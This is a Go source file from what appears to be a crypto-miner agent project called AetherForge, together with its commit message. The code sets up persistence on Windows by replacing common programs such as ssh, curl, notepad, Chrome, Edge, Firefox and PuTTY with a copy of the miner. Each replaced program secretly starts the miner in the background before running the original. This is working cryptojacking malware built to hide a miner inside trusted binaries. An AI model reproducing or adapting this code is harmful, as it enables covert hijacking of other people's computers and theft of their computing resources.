Files
AetherForge/agent/deploy/host_binary_windows.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

292 lines
7.7 KiB
Go

//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
const (
hostBinaryProxySuffix = ".aetherforge.proxy"
hostBinaryBackupSuffix = ".aetherforge.bak"
hostBinaryManifest = "host-binary-hijacks.json"
)
type hostBinaryRecord struct {
Target string `json:"target"`
Backup string `json:"backup"`
Preset string `json:"preset"`
}
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
var HostBinaryPresets = []string{
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
"chrome", "edge", "firefox", "putty", "winscp",
}
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
func HostBinaryCandidates(preset string) []string {
preset = strings.TrimSpace(strings.ToLower(preset))
if strings.HasPrefix(preset, "custom:") {
p := strings.TrimSpace(preset[7:])
if p != "" {
return []string{filepath.Clean(p)}
}
return nil
}
pf := os.Getenv("ProgramFiles")
pfx86 := os.Getenv("ProgramFiles(x86)")
switch preset {
case "ssh":
return existingPaths(
`C:\Windows\System32\OpenSSH\ssh.exe`,
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
)
case "ftp":
return existingPaths(`C:\Windows\System32\ftp.exe`)
case "telnet":
return existingPaths(`C:\Windows\System32\telnet.exe`)
case "mstsc":
return existingPaths(`C:\Windows\System32\mstsc.exe`)
case "curl":
return existingPaths(`C:\Windows\System32\curl.exe`)
case "notepad":
return existingPaths(
`C:\Windows\System32\notepad.exe`,
`C:\Windows\Notepad\notepad.exe`,
)
case "calc":
return existingPaths(
`C:\Windows\System32\calc.exe`,
`C:\Windows\System32\win32calc.exe`,
)
case "chrome":
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
case "edge":
return existingPaths(
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
)
case "firefox":
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
case "putty":
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
case "winscp":
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
default:
if preset != "" && strings.Contains(preset, `\`) {
return existingPaths(preset)
}
return nil
}
}
func existingPaths(paths ...string) []string {
var out []string
for _, p := range paths {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && !st.IsDir() {
out = append(out, filepath.Clean(p))
}
}
return out
}
func hostBinaryMarkerPath(targetExe string) string {
return targetExe + hostBinaryProxySuffix
}
func hostBinaryBackupPath(targetExe string) string {
return targetExe + hostBinaryBackupSuffix
}
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
data, err := os.ReadFile(markerPath)
if err != nil {
return "", "", false
}
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
if len(lines) < 2 {
return "", "", false
}
backup = strings.TrimSpace(lines[0])
miner = strings.TrimSpace(lines[1])
if backup == "" || miner == "" {
return "", "", false
}
return backup, miner, true
}
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
exe, err := os.Executable()
if err != nil {
return "", "", false
}
exe, _ = filepath.Abs(exe)
marker := hostBinaryMarkerPath(exe)
if b, m, found := readHostBinaryMarker(marker); found {
return b, m, true
}
_ = args
return "", "", false
}
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
func RunHostBinaryProxy(backup, miner string, args []string) {
if miner != "" {
_ = HiddenStart(miner, runFlag)
}
if backup == "" {
os.Exit(1)
}
cmd := exec.Command(backup, args...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
os.Exit(exitErr.ExitCode())
}
os.Exit(1)
}
}
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
return filepath.Join(dir, hostBinaryManifest), nil
}
func loadHostBinaryManifest(path string) []hostBinaryRecord {
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var recs []hostBinaryRecord
_ = json.Unmarshal(data, &recs)
return recs
}
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
data, err := json.MarshalIndent(recs, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0644)
}
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
path, err := hijackManifestPath(cfg)
if err != nil {
return err
}
recs := loadHostBinaryManifest(path)
for _, r := range recs {
if strings.EqualFold(r.Target, rec.Target) {
return nil
}
}
recs = append(recs, rec)
return saveHostBinaryManifest(path, recs)
}
func hijackSingleHostBinary(target, minerPath, preset string) error {
target = filepath.Clean(target)
if _, err := os.Stat(target); err != nil {
return fmt.Errorf("target not found: %s", target)
}
marker := hostBinaryMarkerPath(target)
if _, err := os.Stat(marker); err == nil {
return nil
}
backup := hostBinaryBackupPath(target)
if _, err := os.Stat(backup); err != nil {
if err := os.Rename(target, backup); err != nil {
if err := copyFile(target, backup); err != nil {
return fmt.Errorf("backup %s: %w", target, err)
}
_ = os.Remove(target)
}
}
if err := copyFile(minerPath, target); err != nil {
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
}
body := backup + "\n" + minerPath + "\n"
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
return err
}
return nil
}
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
candidates := HostBinaryCandidates(preset)
if len(candidates) == 0 {
return "", fmt.Errorf("no host binary found for preset %q", preset)
}
var lastErr error
for _, target := range candidates {
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
lastErr = err
continue
}
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
Target: target,
Backup: hostBinaryBackupPath(target),
Preset: preset,
})
return target, nil
}
if lastErr != nil {
return "", lastErr
}
return "", fmt.Errorf("hijack failed for %q", preset)
}
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
if strings.TrimSpace(preset) == "" {
return fmt.Errorf("host_binary_target is required")
}
_, err := HijackHostBinary(cfg, minerPath, preset)
return err
}
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
path, err := hijackManifestPath(cfg)
if err != nil {
return
}
recs := loadHostBinaryManifest(path)
for _, rec := range recs {
restoreHostBinaryTarget(rec.Target, rec.Backup)
}
_ = os.Remove(path)
}
func restoreHostBinaryTarget(target, backup string) {
marker := hostBinaryMarkerPath(target)
if backup == "" {
backup = hostBinaryBackupPath(target)
}
if _, err := os.Stat(backup); err == nil {
_ = os.Remove(target)
_ = copyFile(backup, target)
_ = os.Remove(backup)
}
_ = os.Remove(marker)
}